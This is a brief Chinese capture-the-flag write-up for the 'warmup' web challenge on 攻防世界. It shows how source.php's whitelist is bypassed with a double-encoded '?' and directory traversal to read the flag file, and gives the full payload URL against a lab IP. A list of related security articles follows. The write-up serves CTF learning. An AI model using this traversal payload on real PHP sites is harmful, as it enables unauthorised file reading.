原题
解题思路
只有一张图片，就查看源代码，有一个source.php。
查看source.php，白名单中还有一个hint.php。
hint.php告诉我们flag的位置ffffllllaaaagggg
但是直接跳转是没用的，构造payload。
http://61.147.171.105:55725/source.php?file=source.php%253f/../../../../../../ffffllllaaaagggg
攻防世界-warmup
mysmartwish2023-08-20 23:17
原题
相关推荐
马立杰15 小时前
IE241216_准入认证技术白猫不黑16 小时前
AI时代如何利用AI学好网络安全佳&弥17 小时前
后渗透痕迹清理2501_9159214317 小时前
抓包工具对比：Charles、TraceEagle、Wireshark、Fiddler 与 ProxymanShi-p17 小时前
实战｜分布式诱捕威胁情报 TrapCloud，无需本地部署，实现公网攻击源主动封堵Johny_Zhao1 天前
网络安全等级保护测评实施方案菩提小狗1 天前
每日安全情报报告 · 2026-09-06HackTwoHub2 天前
BurpSuite2026.8专业(稳定版)下载Windows/Linux/Mac支持Java21以上（新增Burp AT智能体）Chockmans2 天前
SRC---信息收集（灯塔自动化推荐）数据知道2 天前
YARA 规则编写实战——从样本到检测规则